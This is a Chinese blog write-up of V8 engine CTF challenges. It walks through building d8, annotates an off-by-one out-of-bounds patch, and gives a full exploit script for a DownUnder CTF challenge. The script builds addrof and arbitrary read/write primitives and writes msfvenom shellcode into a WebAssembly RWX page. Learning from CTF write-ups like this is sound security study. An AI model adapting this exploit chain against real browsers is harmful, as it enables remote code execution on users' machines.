V8 EXPLOIT ONE

First Post:

Last Update:

Word Count:
3.4k

Read Time:
18 min

V8初探

前言

以前早就在ctf上看见过类似的v8引擎题,比如sctf,Downunder Ctf等等,这篇文章就来复现一下underdown ctf中的一个d8 pwn题,这也是个历年谷歌浏览器漏洞的一个cve,本篇参考faith的文章来学习一下v8。

ref: https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/

题目: 下载

下载好之后有几个文件如下:

1
2
[i0gan@arch Chrome]$ ls
ld-linux-x86-64.so.2 libc.so.6 oob.diff Release

编译 v8

首先先下载谷歌的depot_tools

1
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

设置环境变量

1
echo "export PATH=/home/i0gan/share/project/v8/tools/depot_tools:$PATH" >> ~/.bashrc

下载v8源码,这里需要翻墙下载

1
fetch v8

有点大,有3个多G

1
2
3
4
5
cd v8
./build/install-build-deps.sh #这里采用ubuntu进行执行,我采用docker下的ubuntu16来进行构建编译环境的
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598 # 切换到漏洞版本
gclient sync
git apply ../Chrome/oob.diff

在ubuntu16下进行编译

编译debug版

1
2
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug

编译release版

1
2
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release

下载还有编译过程需要时间有点长,耐心等待下,这里我就编译debug版本的,编译出来的文件会放在 v8/out.gn/x64.debug/d8.

1
2
i0gan@1ae6cc5c827a:/home/project/v8/challs/chall_1/v8/out.gn$ du -sh x64.debug/
4.6G x64.debug/

Patch文件

oob.diff文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();

// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:

这个patch中修改了src/bootstrapper.cc,src/builtins/builtins-array.cc, src/builtins/builtins-definitions.h,src/compiler/typer.cc文件,然而变动最大的就是

src/builtins/builtins-array.cc文件,漏洞也在这个文件中,作者呢也强烈要求读者去自己尝试把漏洞标记出来,下面注释就是我做的一些解释,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
// 漏洞patch
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value(); // 如果参数大于2,返回undefined
+ Handle<JSReceiver> receiver;
+ // 执行一下的就要满足 len <= 1,所以只剩下一个arg传入进来
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver); //获取array
+ //将array元素强制转换为FixedDoubleArray
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number()); // 再获取数组的长度
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{ //如果len <= 0
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number()); // 设置长度为 atgs.at<Object>(1) 的int值,漏洞点,若能控制atgs.at<Object>(1),就可以达到数组越界
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

下面贴下作者的原话:

I urge the reader to take a look at the code added to src/builtins/builtins-array.cc and try to spot the vulnerability. Even without any further context, it should be easy to spot.

  • The function will initially check if the number of arguments is greater than 2 (the first argument is always the this argument). If it is, it returns undefined.
  • If there is only one argument (this), it will cast the array into a FixedDoubleArray before returning the element at array[length].
  • If there are two arguments (this and value), it will write value as a float into array[length].

Now, since arrays start with index 0, it is evident that array[length] results in an out-of-bounds access by one index at the end of the array.

那么按照作者介绍js中的三种类型,v8采用一种pointer taggin的机制去分辨pointer,double还有smis类型,都代表一种快速小的整数,这些信息可以在src/objects.h中找到。三种类型分别分别定义如下:

* Double: Shown as the 64-bit binary representation without any changes
* Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000
* Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9

还有一 注意的是,v8泄漏任何信息都以浮点数进行打印,也没有任何方式去正常表达64位的整型变量,所以的采用js的某些特殊手段将内存中的float类型以16进制方式打印出来,下面是作者提供的转换函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}

ftoi: 将浮点类型转换为BigInt类型,用于泄漏内存

itof: 将BigInt类型转换为浮点类型,用于写入到内存,因为d8都是采用浮点类型进行储存的,采用一定转换后的格式才能正确在内存中写入值。

将上面保存为file.js

可以运行d8如下去执行,可以通过脚本实现转换。

1
./d8 --shell ./file.js

输出

1
2
3
4
5
V8 version 7.5.0 (candidate)
d8> ftoi(1234)
4653142004841054208n
d8> itof(4653142004841054208n)
1234

数组末尾储存的是什么?

可以通过到谷歌官方source code https://source.chromium.org 查看源代码,但是不推荐,除非要有深刻的理解v8的代码才能知道内存的布局是什么。有另一种方法可以去知道内存布局。

通过debug版本的d8,可以实时的打印数组的内存布局,执行命令如下:

1
./d8 --allow-natives-syntax

若想进入到某些调试函数的话,可以采用%DebugPrint()

采用gdb调试效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
gdb ./d8
pwndbg> run --allow-natives-syntax
Starting program: /home/project/v8/challs/chall_1/v8/out.gn/x64.debug/d8 --allow-natives-syntax
warning: Error disabling address space randomization: Operation not permitted
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f9e54b5a700 (LWP 52)]
[New Thread 0x7f9e54359700 (LWP 53)]
[New Thread 0x7f9e53b58700 (LWP 54)]
[New Thread 0x7f9e53357700 (LWP 55)]
[New Thread 0x7f9e52b56700 (LWP 56)]
[New Thread 0x7f9e52355700 (LWP 57)]
[New Thread 0x7f9e51b54700 (LWP 58)]
V8 version 7.5.0 (candidate)
d8> var a = [1.1, 2.2]; //定义触发漏洞的数组
undefined
d8> %DebugPrint(a);
DebugPrint: 0x103bc188dd79: [JSArray]
- map: 0x206bc6402ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x0c7064ed1111 <JSArray[0]>
- elements: 0x103bc188dd59 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x305fab880c71 <FixedArray[0]> {
#length: 0x2108dfb001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x103bc188dd59 <FixedDoubleArray[2]> {
0: 1.1
1: 2.2
}
0x206bc6402ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x206bc6402e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x2108dfb00609 <Cell value= 1>
- instance descriptors #1: 0x0c7064ed1f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x0c7064ed1eb9 <TransitionArray[4]>Transition array #1:
0x305fab884ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x206bc6402f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x0c7064ed1111 <JSArray[0]>
- constructor: 0x0c7064ed0ec1 <JSFunction Array (sfi = 0x2108dfb0aca1)>
- dependent code: 0x305fab8802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

[1.1, 2.2]
d8>

然而发现上面创建了4个线程,不方便调试通过设置UV_THREADPOOL_SIZE环境变量来改d8启动的线程数

1
UV_THREADPOOL_SIZE=1

尝试了,不行。

在调用数组oob()函数的时候崩溃。。。Arch linux与Ubuntu执行效果一样,出现了内存错误。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
d8> a.oob()
#
# Fatal error in ../../src/objects/fixed-array-inl.h, line 321
# Debug check failed: index >= 0 && index < this->length().
#
#
#
#FailureMessage Object: 0x7ffc874a2430
==== C stack trace ===============================

/home/project/v8/challs/chall_1/v8/out.gn/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x21) [0x7f4f5960bcd1]
/home/project/v8/challs/chall_1/v8/out.gn/x64.debug/libv8_libplatform.so(+0x3fbb7) [0x7f4f595a4bb7]
/home/project/v8/challs/chall_1/v8/out.gn/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x218) [0x7f4f595f7438]
/home/project/v8/challs/chall_1/v8/out.gn/x64.debug/libv8_libbase.so(+0x35e7c) [0x7f4f595f6e7c]
/home/project/v8/challs/chall_1/v8/out.gn/x64.debug/libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x27) [0x7f4f595f7507]
/home/project/v8/challs/chall_1/v8/out.gn/x64.debug/libv8.so(v8::internal::FixedDoubleArray::get_scalar(int)+0x15d) [0x7f4f5797ed2d]
/home/project/v8/challs/chall_1/v8/out.gn/x64.debug/libv8.so(+0x14fdf27) [0x7f4f57973f27]
/home/project/v8/challs/chall_1/v8/out.gn/x64.debug/libv8.so(v8::internal::Builtin_ArrayOob(int, unsigned long*, v8::internal::Isolate*)+0xed) [0x7f4f57973b8d]
/home/project/v8/challs/chall_1/v8/out.gn/x64.debug/libv8.so(+0x2a5a0c0) [0x7f4f58ed00c0]
Received signal 4 ILL_ILLOPN 7f4f59609271
Illegal instruction (core dumped)

Downunder ctf [is-this-pwn-or-web]

查看diff文件与之前一样,下面为作者具体利用思路。

更新中…

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
/* This challenge is meant to be extremely hard. The way this exploit goes is
* essentially as follows:
*
* Step 1: Read the patch.diff file to figure out the vulnerability
*
* Step 2: Use the vulnerability to get a corrupted float array. You can use
* this array to overwrite its own length to a very large number
*
* Step 3: Once you've done this, exploitation becomes (relatively) easy. There
* are loads of blog posts and other V8 exploits that you can use as
* a starting point. I'll list some below. The only issue will be that
* V8 somewhat recently started shipping with pointer compression, and
* most blog posts / exploits will be made for challenges / vulns from
* V8 versions without pointer compression.
*
* https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
* https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/
* https://tcode2k16.github.io/blog/posts/2020-03-15-confidence-ctf/#chromatic-aberration
* https://blog.hexrabbit.io/2020/03/16/chromatic-aberration-writeup/ (use google translate)
* https://halbecaf.com/2017/05/24/exploiting-a-v8-oob-write/ (very old)
*
* If you still have questions regarding this challenge, feel free to DM me
* anywhere. I'll do my best to respond to queries!
*
* Discord: Faith#2563
* Twitter: @farazsth98
*/

// Helper functions setup to convert between doubles and numbers when needed
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u32_buf = new Uint32Array(buf);

function ftoi(val) { // typeof(val) == float
f64_buf[0] = val;
return BigInt(u32_buf[0]) + (BigInt(u32_buf[1]) << 32n); // Watch for little endianness
}

function itof(val) { // typeof(val) == BigInt
u32_buf[0] = Number(val & 0xffffffffn);
u32_buf[1] = Number(val >> 32n);
return f64_buf[0];
}

function hex(val) { // typeof(val) == BigInt
return "0x" + val.toString(16);
}

// We set up a web assembly page. This is mapped as an RWX page that we will
// later write shellcode into.
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

console.log("[+] WebAssembly RWX page setup!");

// Next, set up three arrays. These will be allocated one after another because
// of the deterministic nature of the V8 heap. We corrupt the float array.
// You can find their offsets relative to each other using GDB.
//
// While we do this, we also trigger the vulnerability to get a corrupted
// float array in `float_arr`
var float_arr = [1.1];
float_arr = float_arr.slice(0); // Trigger the vuln
var addrof_arr = [{}, {}]; // Used for the addrof primitive later
var arb_read_arr = [1.1]; // Used for the arbitrary read primitive later

// We set up an ArrayBuffer and a DataView. We will use these later to write
// our shellcode into the RWX page.
var buf = new ArrayBuffer(0x100);
var dataview = new DataView(buf);

console.log("[+] Corrupting float_arr's length to 2048");

// We need to store the current `elements` ptr before we corrupt the length
// because corrupting the length also requires us to corrupt the `elements` ptr
// in the process
var float_arr_elem = ftoi(float_arr[2]) & 0xffffffffn;

// Corrupt the length and keep the `elements` ptr intact
float_arr[2] = itof((0x1000n << 32n) + float_arr_elem);

if (float_arr.length === 2048) {
console.log("[+] Corruption successful!");
} else {
console.log("[!] Corruption failed. Try again.");
throw error;
}

// Setup addrof primitive
// Bottom 32 bits of float_arr[4] corresponds to addrof_arr[0]
// We simply set addrof_arr[0] to the object whose address we want to leak
// Then we read from float_arr[4]
function addrof(obj) {
addrof_arr[0] = obj;
return ftoi(float_arr[4]) & 0xffffffffn;
}

console.log("[+] Addrof primitive has been setup");

// Setup an arbitrary read primitive for the V8 compressed heap
// We do this by overwriting the elements pointer of our arb_read_arr to a
// chosen address - 8 (making sure to keep the length set to 0x1000). We
// subtract 8 because for any float array, arr[0] == (*elements_ptr + 8).
// The elements pointer of arb_read_arr is at float_arr[17], offset found
// through GDB.
// addr must be a 32-bit value here
function compressed_arb_read(addr) {
float_arr[17] = itof((0x1000n << 32n) + addr - 8n);
return ftoi(arb_read_arr[0]);
}

console.log("[+] Arbitrary read primitive for the compressed heap has been setup");

// Setup a function that writes our shellcode to a given address
// We do this by overwriting the backing store address of the ArrayBuffer we
// previously allocated to our chosen address. We then use the DataView that we
// also allocated to write our shellcode to that address space.
//
// Using GDB, we find that the backing store address of our ArrayBuffer is
// misaligned at float_arr[20] and float_arr[21]. The misalignment is as
// follows:
//
// * The upper 32-bits of float_arr[20] correspond to the lower 32 bits of
// the backing store address
// * The lower 32-bits of float_arr[21] correspond to the upper 32 bits of
// the backing store address
//
// If this is confusing to you, that's because it is very confusing :p I would
// suggest looking at this in GDB and comparing whatever I mentioned above to
// what you see in GDB until it makes sense
//
// addr must be a 64-bit value here
function copy_shellcode(addr, shellcode) {
// The backing store address of buf is not aligned to 64 bytes, so we have
// to write the upper 32-bits and the lower 32-bits of our address to two
// separate indices like this
float_arr[20] = itof((addr & 0xffffffffn) << 32n);
float_arr[21] = itof((addr & 0xffffffff00000000n) >> 32n);

for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}

// msfvenom -p linux/x64/exec CMD='./flagprinter' --format dword
var shellcode = [0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068, 0x2d68e789, 0x48000063, 0xe852e689, 0x0000000e,
0x6c662f2e, 0x72706761, 0x65746e69, 0x57560072, 0x0fe68948, 0x00000005];

// Now, we leak the address of our RWX page
// Using GDB, we know this address is at *(&wasm_instance + 0x68)
var rwx_page_addr = compressed_arb_read(addrof(wasm_instance) + 0x68n);

console.log("[+] RWX page address found: " + hex(rwx_page_addr));

// Finally, we copy our shellcode to the RWX page and call the WASM function to
// execute it.
console.log("[+] Copying ./flagprinter shellcode to RWX page");
copy_shellcode(rwx_page_addr, shellcode);

console.log("[+] Printing flag!");
f();

1
2
3
4
5
6
7
8
9
10
./d8 --shell ./exploit.js                                                   ✔  00:49:32 
[+] WebAssembly RWX page setup!
[+] Corrupting float_arr's length to 2048
[+] Corruption successful!
[+] Addrof primitive has been setup
[+] Arbitrary read primitive for the compressed heap has been setup
[+] RWX page address found: 0xaf5c5019000
[+] Copying ./flagprinter shellcode to RWX page
[+] Printing flag!
DUCTF{y0u_4r3_a_futUR3_br0ws3r_pwn_pr0d1gy!!}
打赏点小钱
支付宝 | Alipay
微信 | WeChat